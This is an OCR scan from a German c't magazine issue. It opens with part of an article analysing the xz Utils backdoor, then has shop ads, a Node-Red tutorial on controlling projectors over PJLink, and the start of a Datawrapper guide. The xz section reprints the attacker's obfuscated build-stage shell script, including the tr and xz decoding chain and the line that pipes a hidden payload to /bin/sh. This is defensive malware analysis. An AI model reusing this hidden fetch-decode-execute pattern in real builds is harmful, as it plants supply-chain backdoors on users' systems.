tertiir auch gleich einen Updatemechanis-
mus zu verpassen, den allerdings erst der
ndchste Teil dieser Artikelserie zeigen
wird.

Schadcodeinspektion

Doch was steht denn nun drin in der
Datei? Das konnen Sie selbst herausfin-
den: Die Datei wurde zwar nach Entde-
ckung der Liicke aus dem xz-Projekt ent-
fernt, aber bewusst nicht aus dem Versi-
onskontrollsystem getilgt (ohne Weiteres
gehtvon der Datei auch keine Gefahr aus).
Unter ct.de/yd42 finden Sie einen Link
auf die Datei.

Wie in [1] erklart, reicht es, in der
Datei ein paar Bytes zu tauschen, um den
Datenstrom zu korrigieren und anschlie-
8end zu dekomprimieren:

cat bad-3-corrupt_lzma2.xz | 3
Gtr "\t \-_" " \t_\-" | xz -d | less

Das Resultat sehen Sie im Listing rechts
auf dieser Seite.

Los geht es mit ####Hello####, eine
Zeichenkette, die bekannt vorkommt (wie
auch ####World###4 am Ende). Wie in [1]
erklirt, identifizierte das manipulierte
Build-Skript die Datei als Quelle fiir den
weiteren Schadcode, weil es diese Zei-
chenketten im komprimierten Datenstrom
fand. Wie kommen die Zeichen dann auch
in den entpackten Datenstrom?
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Die Antwort: bad-3-corrupt_lzma2.xz
enthalt insgesamt drei Datenstrome; das
xz-Format unterstiitzt mehrere kompri-
mierte Datenstrome in einer Datei. Der
erste und dritte Datenstrom sind kurz und
enthalten nur diese beiden Zeichenketten.
Sie bestehen jeweils aus nur einem un-
komprimierten Segment (,,uncompressed
chunk®), eben die erwahnten Zeichenketten,
aber es handelt sich um korrekt formatierte
LZMA2-Datenstro-
me. Den Grofdteil
der Datei macht der
mittlere, vorgeblich
kaputte Datenstrom
aus. Offenbar nutz-
te der Angreifer
diese Konstruktion als Existenzberechti-
gung fiir die Datei. In der README-Datei
erklarte er ihren Zweck so: ,,The first and
third are valid xz Streams. The middle
Stream has [correct metadata] only the
LZMA2 data is corrupt. This file should
decompress if --single-stream is used.”

Mit der Datei soll man also den Um-
gang von xz mit einer Mischung aus intak-
ten und kaputten Streams testen konnen.
Nur war der mittlere Strom in Wahrheit
eben nicht kaputt, sondern verschleiert,
und transportierte Schadcode. Diesen
Code stort der vorhergehende Outputdes
ersten Datenstroms nicht: Er beginnt mit
einem Doppelkreuz, weshalb der Shell-
Interpreter ihn als Kommentar ignoriert.

Shellskript

####He 1 1 o#t#t##

#aUu?-$?0?

[ ! $(uname) = "Linux" ] & exit 0
[ ! $(uname) = "Linux" ] &% exit @
[ ! $(uname) = "Linux" ] & exit 0
[ ! $(uname) = "Linux" ] & exit 0
[ ! $(uname) = "Linux" ] &% exit @

eval “grep “srcdir= config.status’

if test -f ../../config.status;then

eval “grep “srcdir= ../../config.status’
srcdir="../../$srcdir"

fi
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Auchder Output des mittleren Daten-
stroms beginnt mit einem Doppelkreuz
und zeigt sofort die nachste Seltsamkeit:
Esfolgen acht Bytes, die keine druckbaren
Zeichen darstellen. Als Kommentar gilt
die Zeile trotzdem, weshalb sie die Skript-
ausfiihrung nicht stort, aber ihr Zweck
bleibt unbekannt. Interessanterweise ent-
halt die erste Version der Datei ebenfalls
so einen Kommentar, aber mit anderen
Bytewerten.

Nun geht es endlich mit dem ersten
Shellcode los: Das Skript bricht ab, falls es
nicht unter Linux lauft. Satte fiinf Mal
flihrt es diesen Test durch, der sich in der
ersten Version der Datei nicht findet. Of-
fenbar hatte der Angreifer ihn vergessen
und dann - reichlich frustriert - mehrfach
eingebaut, obwohl ein einzelner Test frei-
lich denselben Effekt hatte. Vielleicht war
es dieses Versehen, das ein Update der
Datei tiberhaupt erst notwendig gemacht
hat. Jedenfalls erschien es dem Angreifer
wohl sehr wichtig, dass die Hintertiir aus-
schliefdlich in Linux-Systeme eingebaut
wird. Vermutlich sollte das die Gefahr
einer Entdeckung reduzieren.

Weiter geht es mit einem Aufruf von
grep, der in der vom Build-System gene-
rierten Datei config.status nach der Defi-
nition der Variable srcdir sucht. eval fiihrt
diese Definition anschliefdend aus, sodass
$srcdir nun auch im laufenden Skript zur
Verfiigung steht.

export i="((head -c +1024 >/dev/null) && head -c +2048 && 4
5(head -c +1024 >/dev/null) &% head -c +2048 && 3
G(head -c +1024 >/dev/null) && head -c +2048 && 3

# --8<-- insgesamt 16 solche Zeilen --8<--
L(head -c +1024 >/dev/null) && head -c +2048 && 3
G(head -c +1024 >/dev/null) && head -c +2048 && 3
5(head -c +1024 >/dev/null) && head -c +939)";d
§(xz -dc $srcdir/tests/files/good-large_compressed.lzmaleval $i|d

Gtail -c +31233|3

Btr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377") |4

txz -F raw --1zmal -dc|/bin/sh
##Wo r 1d##t##

Das initiale Shellskript des Angreifers, in seiner zweiten Version.
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Es folgt ein Test, der priift, ob config.
status nicht etwa zwei Ordner oberhalb
des aktuellen Arbeitsverzeichnisses liegt.
Fallsja, nutzt der Code die dortige Defini-
tion von srcdir, angepasst um einen
Sprung zwei Ordner nach oben. Dasistein
interessantes Indiz: Dieser Code funktio-
niert von zwei verschiedenen Arbeitsver-
zeichnissen aus. Die Erkldarung, warum
und in welchem Unterunterverzeichnis
der Code nochmal aufgerufen wird, kann
allerdings erst ein spaterer Teil dieser Ar-
tikelserie liefern.

Filtern und Dechiffrieren

Den Rest des Skripts hat der Angreifer in
eine einzelne Zeile gequetscht. Im Listing
auf Seite 149 ist er umbrochen und daher
besser lesbar. Los geht es mit einer sehr
langen Definition der Variable i. Insgesamt
17-malwerden von einem Datenstrom erst
1024 Byte verworfen und dann die nachs-
ten 2048 Byte iibernommen (die letzte
Ubernahme betrigt nur 939 Byte, linger
ist der Datenstrom wohl nicht).
Umwelchen Datenstrom es geht, zei-
gen die nichsten Befehle: Sie entpackten
die Dateigood-large_compressed.lzma (xz
-dc) und leiten das Ergebnis durch den
eben definierten Filter (eval $i). Offenbar
hat der Angreifer auch in dieser Datei
etwas versteckt. Die erwdhnte README-

Diese Daten sehen seltsam
aus. Fiir den Inhalt einer
Testdatei durchaus plausi-
bel, aber sind die zufillig
anmutenden Blocke wirklich
zufallig?

Datei erklart zu good-large_compressed.
lzma, die Datei sei ein ,,Mix aus wieder-
holten Zeichen und zufélligen Daten®.
Die Abbildung oben zeigt, dass die ent-
packte Datei tatsachlich Blocke gleicher
Bytes enthilt (die der Code in $i ausfil-
tert), mit doppelt so grof3en Blocken an-
derer Daten dazwischen. Dabeihandeltes
sich aber wohl nicht um zufillige Daten,
sonst wiirde der Code sie jetzt nicht extra-
hieren.

Als Nichstes ignoriert der Code die
ersten 31.232 Bytes der Daten. Im verblei-
benden Rest spannt das Skript wieder tr
ein, um Bytewerte miteinander zu vertau-
schen. Et voila! - so entsteht aus den an-
geblich zufilligen Daten ein valider
LZMA1-Datenstrom. Es ist ein blof3er
Datenstrom, ohne Headerinformationen,
sodass man ihm seine Natur kaum ansieht.
Vermutlich hat der Angreifer aber den-
noch befiirchtet, die Daten konnten als
LZMA-Strom erkannt werden, und ihn
deshalb mit tr verschleiert.

Phase 2 der xz-Hintertiir

Bei der weiteren Analyse der Hintertir in den xz Utils zeigt sich, dass

der Angreifer noch eine zweite Testdatei i

m Repository mit bdsartigem

Shellcode prépariert hat. Das erste Shellskript extrahiert beim Paketbau
daraus ein zweites Shellskript, das ebenfalls umgehend ausgefihrt wird.

Tarball

latziert

m4/build-to-host.m4

Paketbau

configure

1 reparierte

repariert, entpackt |
und flihrt aus |

,bad-3-corrupt_
Izma2.xz"

|
Angreifer Repository : Shellcode
| Le—m—mm > % tests/files/ 4 N
1 platziert bad-3-corrupt_* 1
1 lzma2.xz 1
1 entpackt, |
1 extrahiert I
: und fiihrt :
| aus Fragmente von
I 1 ,good-large_
1 tests/files/ 4+-——--- compressed.lzma”
[y » good-large_ =
platziert compressed.lzma ﬂ
$> Shellcode
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Ubrigens gibt es auch von good-
large_compressed.lzma zwei unter-
schiedliche Versionen, weshalb sich auch
die beiden Versionen des aktuell unter-
suchten Skriptsleichtin den von head und
tail genutzten Offsets unterschieden.
Dariiber hinaus benutzen die beiden Ver-
sionen auch unterschiedliche Bytewert-
vertauschungen zur Verschleierung, so-
dass die reparierenden tr-Aufrufe mit
unterschiedlichen Parametern arbeiten.
Wozu diese Abweichung dient, bleibt
offen.

Noch mehr Shellcode

Jedenfalls entpackt der Code nun die
Daten, deren Format er mangels Header-
Informationen tiber Parameter spezifizie-
ren muss:

xz -F raw --1zmal -dc

Die entpackten Daten leitet das Skript
direkt wieder in eine Shell. In good-large
compressed.lzma versteckt sich also ein
zweites Shellskript. Diesmal ruft der An-
greifer die Shell iiber /bin/sh aufund nicht
per $sHELL. In der Praxis ist dieser Unter-
schied nicht relevant, aber der unter-
schiedliche Stil konnte darauf hindeuten,
dass hinter Jia Tan, dem Pseudonym des
Angreifers, mehr als eine Person steht.
Vielleicht hat das auch zur Aufteilung der
Hintertiir in so viele Stufen beigetragen,
schliefilich erleichtert eine solche Modu-
laritét die Arbeitsteilung.

In einer der nachsten Ausgaben von
¢’t werden wir uns jedenfalls dieses zwei-
te und deutlich umfangreichere Shellskript
ansehen. Dabei - so viel sei verraten -
kommt unter anderem heraus, was in den
bislangignorierten ersten 31.232 Bytes der
aus good-large_compressed.lzma extra-
hierten Daten steckt. (syt@ct.de) c
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Manipulierte Dateien: ct.de/yd42
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Domanenmodellierung mit TypeScript
In diesem Workshop fur (Web-)Entwickler und Product
L Methoden wie
t und die Domane mithilfe
s modelliert.

React19 - Wichtige Neuerungen

an einem Tag kennenlernen
Dl—‘l" Workshop bietet einen Ubwrbhu k uher die

WEBINAR

Grundlagen Funktionaler
Programmierung

Funktionale Programmierung vereinfacht Testen
und Debuggen und erleichtert Parallelisierung. Die
Grundlagen lernen Sie im Webinar kennen.

WIR TEILEN KEIN HALBWISSEN
WIR SCHAFFEN FAGHWISSEN

Kamera und JD Objekten bis hin zu Bibliotheken wie
Three.js und A

A-Frame

Mutatlon-Testlng m|t Stryker

!m ‘Nr bmdr e iahmn ;.ua ihre Tes

c‘t <swebdev>

In Kéln erwarten Sie auf der englischsprachigen
Konferenz drei Tage voller Wissen, Einblick

und eine grofartige nmunity von Entw

Uber 40 Talks ztatige Workshops.

Sichern Sie sich |lhren Fruhbucher-Rabatt:
heise.de/ct/Events
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Mareile Heiting
Windows 11 — Das groBe
Handbuch (5. Auflage)

Das umfassende Handbuch zu Windows
11 bietet Einsteigern und fortgeschrittenen
Nutzern alles, um das Betriebssystem
sicher und effektiv zu handhaben.

19,90 €

Charles Petzold
Code — Wie Computer funktionieren

Charles Petzold liftet das Geheimnis (iber
das verborgene Innenleben und die grund-
legende Funktionsweise von Computern —
von der Hardware bis zur Software.

Auch als PDF und ePub erhaitlich!

39,99 €

Werner Sommer, Andreas Schlenker
FreeCAD - Einstieg und Praxis
Dieses praxisorientierte FreeCAD-Buch
ist ein Tutorial und Nachschlagewerk fiir
2D/3DModellierung und technische Zeich-
nungen,deckt 3D-Druck, Gebaudedesign,
CNC, FEM ab, inklusive Ubungen.

19,95 €

Michael Kofler, Charly Kiihnast,
Christoph Scherbeck

Raspberry Pi (8. Auflage)
Standardwerk in 8. Auflage, aktuell zum
Raspberry Pi 5. RasPi-Experten Micha-
el Kofler, Charly Kiihnast und Christoph
Scherbeck bieten auf Uber 1.000 Seiten
umfassendes Wissen zum Raspberry Pi.

4490 €

Microsoft
Azure Security

-
Kiinstliche Intelligenz
verstehen cioeopcieione

Elnfithrung

Paul Barry
Python von Kopf bis FuBl (3. Auflage)

Die aktualisierte Auflage bietet unterhalt-
same, fundierte Einflhrung in Python,
behandelt Grundlagen, Datenstrukturen,
Web-Technologien, Datenanalyse mit
Pandas, flr leicht fortgeschrittene Einsteiger.

Auch als PDF und ePub erhdiltlich!
49,90 €

Heinrich Gantenbein, Michael Howard,
Simone Curzi

Microsoft Azure Security

Bietet bewahrte Methoden und Grundprin-
zipien fir sichere Cloud-Anwendungen in
Microsoft Azure, einschlieBlich Entwurf, Ent-
wicklung, Einsatz und Langzeitstrategien
gegen Sicherheitsherausforderungen, von
Experten erlautert.

Auch als PDF und ePub erhaitlich!
59,90 €

Eric Amberg, Daniel Schmid
Hacking — Der umfassende
Praxis-Guide (3. Auflg.)
Aktualisierte 3. Auflage des Guides mit
CEHv12 Prifungsvorbereitung, bietet
Workshops, Anleitungen und Tipps zu
Hacking-Techniken und GegenmaBnah-
men in sechs Bereichen, ideal als Lehr-
und Nachschlagewerk.

49,99 €

Sophia Sanner, Pit Noack
Kiinstliche Intelligenz verstehen
(2. Aufig.)

Interaktive, spielerische EinfUhrung in
KiTechnologien, Schwerpunkt auf Expe-
rimentieren, mit handgezeichneten In-
fografiken, Online-Projekten, deckt von
Grundlagen bis Neuronale Netze und
Transformers ab, ideal zum Lernen.

29,90 €

PORTOFREI AB 20 € BESTELLWERT INNERHALB DEUTSCHLANDS



..und Nerds

E shop.heise.de/highlights2024

Zubehor und Gadgets

L y'
h‘-‘l‘-l BACKUF
EIN pmiTLE A

Generell portofreie Lieferung fiir Heise Medien- oder Maker Media Zeitschriften-Abonnenten oder ab einem Einkaufswert von

Oxocard Artwork Creative Coding

Lernen Sie die Grundlagen der Computerani-
mation mit dem ESP32-Chip. Erzeuge beein-
druckende visuelle Effekte wie in Spielen und
Filmen dank leistungsfahiger Hardware. Ideal
flr Einsteiger.

c¢'t 3003-Hipbag/Bauchtasche

Total praktisches c't 3003-Merch.

Dieses ultimative Fashion-Statement fallt
garantiert (iberall auf und es passt jede
Menge rein.

Mit Innentasche und verstellbarem Hiiftgurt.

14,90 €

Nitrokey Passkey

Schiitzen Sie lhre Accounts zuverldssig gegen
Phishing und Passwort-Diebstahl mit siche-
rem, passwortiosem Login und Zweifaktor-
Authentifizierung (2FA) durch WebAuthn/
FIDO2. Praktisches USB-A Mini Format flr den
Schltsselbund.

34,90 €

c¢'t Jumbotasse ,,Kein Backup? Kein
Mitleid!"

Unsere Tasse erinnert Ihre Kollegen an regel-
maBige Updates. Jetzt mit 450 ml fiir mehr Kaf-
feegenuss.

Nie wieder Stress ungesicherter Daten:
Kein Backup? Kein Mitleid!

17,90 €

20 € (innerhalb Deutschiands). Nur solange der Vorrat reicht. Preisinderungen vorbehalten,

Halt, Stopp!
Virenpolizei!

Oxocard Science Plus GOLD Edition

Leistungsfahiger Raumsensor mit 8 Senso-
ren, 16 Werten, Experimentierplatine und
offener Programmierschnittstelle zur Beob-
achtung und Anderung der Programme.

119,90 €

Cyber Clean Professional
Reinigungsmasse

High-Tech-Masse entfernt 99,99% der
Keime, reinigt strukturierte Oberflachen und
Zwischenrdume, ohne Feuchtigkeit abzuge-
ben. Ideal fir empfindliche Oberflachen und
elektronische Geréte.

16,90 €

Nitrokey-Secure-Bundle C/C

Der Nitrokey 3A NFC ist ein starker Security
Token fiir mobile Gerate. Der USB-C Daten
Blocker schiitzt vor unerwiinschter
Datenlibertragung. Inklusive c't-Security-
Checklisten als PDF.

64,90 €

Messbecher ,Wissenschaft*

Schluss mit Langeweile in der Kiiche! Auf die-
sem Messbecher stehen 14 nerdige Fun Facts.
Fragen wie ,Wie viel Platz nehmen 30.000
Reiskdrner ein?“ werden beantwortet.

19,90 €

/i heise shop



Praxis | Beamersteuerung mit PJLink

Projektor-
kommandant

Node-Red: Beamersteuerung mit PJLink

Mit PJLink steuert man netz-
werkfahige Beamer unkompli-
ziert und herstellerunabhangig.
Auch viele quelloffene Smart-
Home-Zentralen sprechen das
Protokoll. So befehligen Sie
Ihren Projektor mit Node-Red.

Von Andrijan Mocker

lexa, schalte in den Kinomodus!“ Das

Licht wird gedimmt, eine Schalt-
steckdose versorgt den Audioverstarker
mit Spannung und in der Kiiche geht die
Musik aus. Doch dann fehlt die Fernbedie-
nung, um die Biichse an der Decke einzu-
schalten, die den Film an die Wand werfen
soll. Die Suche unter Sofas, in deren Rit-
zen, in Schubladen und wo das Ding sonst
noch so sein konnte, kann einem echt die
Kinostimmung vermiesen.

Das muss aber nicht sein, denn wenn
Thr Beamer eine Netzwerkschnittstelle hat,
konnen Sie ihn méglicherweise ganz un-
kompliziert in Thr Smart Home aufneh-
men, dariiber steuern und in Szenen inte-
grieren. Der Schliissel dazu ist das Proto-
koll PJLink, das Sie in Verbindung mit der
bei Smart-Home-Enthusiasten beliebten
Flowchart-Programmieroberfliche Node-
Red einsetzen konnen. Gleichermafden
unterstiitzen auch andere herstellerunab-
hingige Smart-Home-Zentralen wie open-
HAB und Home Assistant das Protokoll.

Was ist PJLink?

PJLink steht fiir Projector Link und ist ein
herstellerunabhingiges TCP-Netzwerk-
protokoll, iber das Beamer gesteuert wer-
denkonnen. Spezifiziert hat es eine Unter-
gruppe des Branchenverbands Japan Busi-
ness Machine and Information System
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Industries Association. Teil der Gruppe
sind bekannte Hersteller von Projektoren
wie Sony, Sharp und Panasonic.

PJLink deckt die wichtigsten Befehle
ab, die man benétigt, um einen Beamer zu
kommandieren, also etwa das Ein- und
Ausschalten, die Auswahl von Quellenund
das Stummschalten des Audioausgangs.
Was sich nicht bearbeiten lasst, sind De-
tails wie Farbprofile, die Helligkeit oder
die Netzwerkeinstellungen. Das muss man
nach wie vor per Fernbedienung oder
Webinterface erledigen.

Voraussetzungen

Wir gehen in diesem Artikel davon aus,
dass Sie eine aktuelle Node-Red-Instal-
lation betreiben und sich damit schon so
weit beschaftigt haben, dass Sie das Kon-
zept verstehen. Node-Red-Einsteiger fin-
deninc’t15/2018 ab Seite 142 einen Arti-
kel, der die Grundlagen erklart [1].

Die Node-Red-Installation muss sich
in Threm lokalen Netz befinden oder Sie
miissen tiber eine VPN-Verbindung darauf
Zugriff haben. PJLink unterstiitzt keine
Verschliisselung und auf manchen Bea-
mernnicht einmal eine Authentifizierung,
weshalb eine einfache Portfreigabe Rich-
tung Internet ein Sicherheitsrisiko wire.

Davon abgesehen muss Thr Beamer
das Protokoll natiirlich unterstiitzen, denn
zur Standardausstattung gehort es nicht.
Allerhand Hersteller sind nicht Teil der
PJLink-Gruppe und implementieren das
Protokoll entweder gar nicht oder halb-
herzig. Hinweise finden Sie im Datenblatt
und der Anleitung Ihres Modells. Wir sind
bei einem Gerit, einem Acer P5535, auf
eine Drittanbieter-Website hereingefal-
len, die das Protokoll falschlicherweise fiir
das Gerdt listete. Mehr dazu spiter.

Selbstwenn PJLink nichtim Datenblatt
Thres Projektors steht, konnen Sie auspro-
bieren, ob der Hersteller es vielleicht doch
implementiert hat. Schaden wirds ihm

nicht. Damit das Protokoll funktioniert,
muss das Gerat mit Threm Heimnetz ver-
bunden sein. Fehlt die WLAN-Schnittstel-
le, benodtigen Sie am Installationsort ein
LAN-Kabel. Liegt dort zwar keine Netz-
werkleitung, aber ein anderes ausrangier-
tes Kabel mit wenigstens vier Adern, kon-
nen Sie dieses eventuell als Netzwerklei-
tung zweckentfremden; mehr dazu lesen
Sie in [2] ab ,Telefonkabel & Co.“.

Andere Verbindungswege wie Power-
line-Adapter oder WLAN-Client-Adapter
(Umsetzer von WLAN auf LAN) sind eben-
falls eine Option, bedeuten aber 3 bis
5 Watt zusatzliche Leistungsaufnahme.

Beamer-Konfiguration

Steht die Netzwerkverbindung, fangen Sie
an, die Anleitungen zu wilzen und sich
durchs Menti zu klicken, um die PJLink-
und Netzwerkeinstellungen zu finden.
Wie alles konfiguriert werden muss,
variiert stark: Manche Modelle haben das
Protokoll dauerhaft eingeschaltet, bei
manchen muss es aktiviert werden. Man-
che verwenden PJLink-Authentifizierung
und verlangen, dass ein Passwort einge-
stellt wird, bevor das Protokoll aktiviert
werden kann. Andere bieten einen Pass-
wortschutz nicht einmal als Option an.

In den Netzwerkeinstellungen setzen
Sie fiir Thren Projektor am besten eine
feste IPv4-Adresse auf3erhalb des Adress-
bereichs, die Ihr Heimrouter per DHCP an
sich verbindende Gerite vergibt. Wie Sie
diesen Bereich herausbekommen, stehtin
der Anleitung Ihres Routers. Nicht alle
Router bemerken es, wenn eine Adresse
in ihrem DHCP-Bereich schon anderwei-
tig vergeben wurde; doppelte Vergabe
fithrt zu Netzwerkproblemen.

Damit Sie den Beamer auch per Netz-
werk einschalten konnen, miissen Sie
unter Umstdnden strenge Energiesparmo-
dideaktivieren beziehungsweise das Netz-
werk-Standby aktivieren. Manche Gerite
schalten das Interface andernfalls auch ab,
wenn der Beamer ins Standby geht. Details
verrat die Anleitung. Das Interface bleibt
dann aktiv und lauscht auf PJLink-Pakete.

Haben Sie alles aktiviert, schalten Sie
den Beamer aus und beobachten Sie am
Gerat oder an dem Switch, an dem es an-
geschlossen ist, ob die Schnittstelle aktiv
bleibt. Wundern Sie sich nicht, wenn die
Schnittstelle nur noch mit 10 Mbit/s ver-
bundenist,das machen manche Interfaces
so, um Energie zu sparen. Geht das Inter-
face jedoch ganz aus, priifen Sie die An-
leitung erneut.

c't 2024, Heft 17



Node-Red-Setup

In Node-Red geht die PJLink-Installation
schnell von der Hand. Offnen Sie iiber das
Burgermenti ,,Palette verwalten®, suchen
Sie nach ,,node-red-contrib-pjlink* und
installieren Sie das Paket.

Nach Abschluss der Installation su-
chen Sie links nach dem PJLink-Node und
ziehen ihn in einen existierenden oder
neuen Flow. Offnen Sie per Doppelklick
die Node-Einstellungen und tragen Sie die
IP-Adresse, das Passwort und einen optio-
nalen Namen ein. Der Port lautet 4352,
sofern Thr Hersteller nicht schreibt, dass
er einen anderen verwendet. Hiangen Sie
einen Debug-Node an beide Ausginge des
PJLink-Node.

Im Anschluss konnen Sie einen ersten
Test starten: Ziehen Sie zwei Inject-Nodes
in den Flow, 6ffnen Sie die Einstellungen
deserstenund setzen Sie den Datentyp bei
msg.payload von ,,timestamp" auf,,string®.
Tippen Sie ,,on" ins Feld; msg.topic bleibt
frei. Bestitigen Sie die Einstellungen und
verfahren Sie mit dem zweiten Inject-
Node gleichermafden, nur dass msg.pay-
load zu ,,off“ wird.

Verbinden Sie beide Nodes mit dem
PJLink-Node und iibernehmen Sie die
Einstellungen mit ,,Deploy“. Klicken Sie
dann das PJLink-Node ,,on“ an und be-
obachten Sie, ob Thr Beamer sich riithrt
und was der PJLink-Node zurlickmeldet.
Erscheintim Debug-Reiter ein Fehler mit
dem Inhalt ,,connect ECONNREFUSE®,
haben Sie sich wahrscheinlich beim Port
vertippt oder der Beamer ist nicht mit
PJLink kompatibel. Lautet der Fehler
,connect EHOSTUNREACH, ist die IP-
Adresse vermutlich inkorrekt oder die
Netzwerkschnittstelle schliftim Standby
mit ein.

Schaltet der Projektor hingegen ein,
waren Sie erfolgreich. Der ,,0ff “-Befehl
sollte ihn dann wieder ausschalten. Klappt
dasnicht, warten Sie eine Minute. Manche
Gerite nehmen zum Beispiel wahrend der
Aufwirmphase keine Befehle an.

Eingange umschalten

Viele Beamer unterstiitzen das Umschal-
tenvon Eingangen per PJLink, sodass man
auch das aus der Smart-Home-Zentrale
erledigen kann. Wichtig dafiir sind die
nummerischen Parameter ,,Source” und
»Channel“. Mit den Befehlen ,,getinput®
und ,,getinputs“ konnen Sie den aktuell
aktiven beziehungsweise alle verfligbaren
Videoeinginge sowie deren Source- und
Channel-Nummern abfragen.

Die dabei herausfallenden Bezeich-
nungen sind mit ,,RGB, VIDEO, DIGITAL,
... allerdings nicht sonderlich eindeutig.
Um das Orakeln in Grenzen zu halten,
konnen Sie die Eingéinge am Beamer per
Fernbedienung umschalten, ,,getinput®
senden und sich aus dem Node-Red-De-
bug-Reiter die Antwort notieren.

Um den Beamer zu einer anderen
Quelle zu kommandieren, ziehen Sie
einen weiteren Inject-Node in den Flow,
stellen den Datentyp von msg.payload auf
JSON und fiigen {"setinput": {"source":
3, "channel": 3}} ins Feld ein. Ersetzen
Sie Source- und Channel-Nummer Threm
Beamer entsprechend.

Soll das Umschalten des Eingangs als
Teil einer Einschaltroutine passieren, soll-
ten Sie mithilfe eines Delay-Nodes die
Nachricht um die Einschaltzeit des Bea-
mers verzogern, damit der Befehl auch
tatsachlich einen Effekt hat.

Lauft alles, konnen Sie anfangen,
PJLink in Thre Anwendungen zu integrie-
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PJLink in Node-Red einzurichten ist ein Kinderspiel. Notwendig sind nur
IP-Adresse und Port sowie das eventuell gesetzte Passwort. Danach
nimmt der Node Befehle entgegen und zeigt den Projektorstatus an.

c't 2024, Heft 17
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ren. Etwa, indem Sie es beispielsweise mit
MQTT verbinden oder mit ,,node-red-
contrib-homekit-bridged“ in Apples
HomeKit integrieren.

Trickserei

Anders als der von uns auch mit PJLink
getestete Epson EB-6155W unterstiitzt der
eingangs erwahnte Acer P5535 das Proto-
koll nicht offiziell und auch nicht vollstian-
dig. Das Gerit akzeptiert zwar die PJLink-
Befehle ,,on“ und ,,off“, antwortet aber
nicht spezifikationskonform und schléft
auflerdem im Standby nahezuvollstindig
ein, sodass Pakete im Netzwerk versan-
den.

Aber auch nur fast alle: Der P5535
unterstiitzt Wake-on-LAN und kann dar-
iiber aus dem Schlaf geholt werden. Mit
dem Paket ,node-red-node-wol“ und der
Interface-MAC-Adresse des Beamers, die
Sie entweder in der Geriteiibersicht Thres
Routers oder wahrscheinlich auch aufdem
Etikett des Gerits finden, konnen Sie die
notigen Pakete versenden. Eventuell muss
Wake-on-LAN noch separat im Menii ak-
tiviert werden.

Reagiert Thr Projektor auch nicht
inoffiziell auf PJLink-Befehle, lohnt sich
etwas Netzrecherche; eventuell haben
schon andere selbiges vorgehabt und
die richtigen HTTP-Aufrufe gefunden, um
Befehle an der Webschnittstelle abzuladen.

Infrarot-Alternative

Klappts per Netzwerk auf keinem Weg,
gehts vielleicht per Infrarot: Die URC-
150.app, die der Versandhindler Pearl
unter der Marke auvisio verkauft, briickt
die Internet-of-Things-Welt mit der infra-
roten. In ihr steckt der WLAN-Mikrocon-
troller ESP8266, den man mithilfe der
cloudfreien Firmware Tasmota auch aus
der Cloud befreien kann. Wie das geht,
haben wir in ¢’t 19/2019 ab Seite 100 er-
klart [3].

Die Bridge ist nach wie vor verfiigbar
und kostet 18 Euro. (amo@ct.de) ct

Literatur
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Praxis | Datenvisualisierung

Zahlen hu

bsch

verpacken

Wie Sie mit Datawrapper kostenlos

Daten visualisieren

Ob Wahlen, FuBballergebnisse
oder CO,-Emissionen: Mithilfe
von Datawrapper stellen Sie
Zahlen und Daten bildlich dar
und machen sie greifbar. Das
Ergebnis teilen Sie per Link oder
betten es online ein. In diesem
Text erfahren Sie, wie Sie eine
erste Grafik mit dem Tool
erstellen.

Von Greta Friedrich

E inwirr anmutender Haufen von Zahlen
und Daten lasst sich oft in grafischer
Form anschaulicher darstellen. Mit dem
Online-Werkzeug Datawrapper aus
Deutschland formen Sie aus Datentabel-
len interaktive Diagramme, teilen sie per
Link und betten sie auf eigenen Websites
ein. Der Prozess dafiir ist einfach und,
wenn man keine Extrawtiinsche hat, auch
schnell. Wir zeigen Thnen, wie Sie mit dem
Tool Ihr erstes Diagramm zaubern und
was Sie dabei beachten sollten.

2012 entstand Datawrapper als Open-
Source-Projekt der Akademie Berufliche
Bildung der deutschen Zeitungsverleger,
geleitet vom Datenjournalisten Mirko Lo-
renz. Heute gehort es der Datawrapper
GmbH. Datenschutz und Privatsphire
sind dem Unternehmen laut eigener Aus-
sage sehr wichtig, es verarbeite Daten
DSGVO-konform. Die online eingebette-
ten Visualisierungen seien standardmafig
frei von Tracking, Cookies und Werbung.

Kostenlos mit Wasserzeichen

Um Datawrapper auszuprobieren, benoti-
gen Sie noch keinen Account. Um Thr Werk
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zu speichern und womoglich auf einer
Website einzubetten, miissen Sie aber ein
kostenloses Konto anlegen. Damit konnen
Sie unbegrenzt Visualisierungen basteln,
verdffentlichen (sowohl privat alsauchim
kommerziellen Kontext) und als PNG ex-
portieren; allerdings enthalten die Grafi-
ken den unauftilligen Hinweis ,,Erstellt
mit Datawrapper*.

Zusitzlich gibt es zwei kostenpflichti-
ge Versionen, die sich eher an Unterneh-
menrichten: Custom (monatlich 599 Euro
fiir die ersten 10 Benutzer) und Enterprise
(Preis auf Anfrage). Hier entfillt jeweils
der Verweis auf Datawrapper, es gibt wei-
tere Exportmoglichkeiten (SVG und PDF),
mehrere Nutzerlizenzen und benutzer-
definierte Designs, um die Visualisierun-
gen an die eigene Corporate Identity an-
zupassen. Die Enterprise-Variante wird fiir
den Kunden angepasst, dieser kann seine
Kreationen selbst hosten und Datawrap-
per in seine Single-Sign-on-Infrastruktur
einbinden.

Vier Schritte zum Diagramm

Zu Beginn klicken Sie auf der Startseite
datawrapper.de auf ,,Start creating”. Es 6ff-
net sich ein neuer Tab, in dem Sie direkt
anfangen konnen. Bei uns wechselte die
Bedienoberfliche hier von englisch- zu
deutschsprachig; erstellt man einen Ac-
count, ist die Standardsprache Englisch.

France
Italy
Sweden

Denmark

i Datawrapper

YouGov - Daten herunteriaden - Erstellt

In der kostenlosen Version tragen alle
Diagramme den kleinen Hinweis
Erstellt mit Datawrapper”.

Uber das Hamburgermenii oben rechts lisst
sich die Sprache aber jeweils fix umstellen.

Ist man als Gast unterwegs, blendet
Datawrapper oben links einen Link zur
englischsprachigen Anleitung fiir das erste
Diagramm ein. Diese ist sehr detailliert,
in lockerem Ton geschrieben und mit
Screenshots bebildert.

Unterhalb des Links stehen die vier
Schritte zur Visualisierung: ,, Daten hoch-
laden"; ,, Priifen & Beschreiben®, ,Visuali-
sieren“und ,Veroffentlichen & Einbetten.
Jeder Schritt umfasst eine Seite mit diver-
sen Schaltflichen, Textfeldern, Check-
boxen oder Upload-Buttons; der aktuelle
Stand ist stets in Rot markiert. Jederzeit
konnen Sie per Klick zwischen den Schrit-
ten wechseln oder tiber die Zuriick-/Wei-
ter-Buttons unten navigieren. Wollen Sie
statt eines Diagramms eine Tabelle oder
eine Karte gestalten, gehen Sie obenrechts
auf ,,Neu erstellen... und wihlen die ge-
winschte Option.

Daten hochladen und priifen

Fiir ein Diagramm laden Sie zunachst die
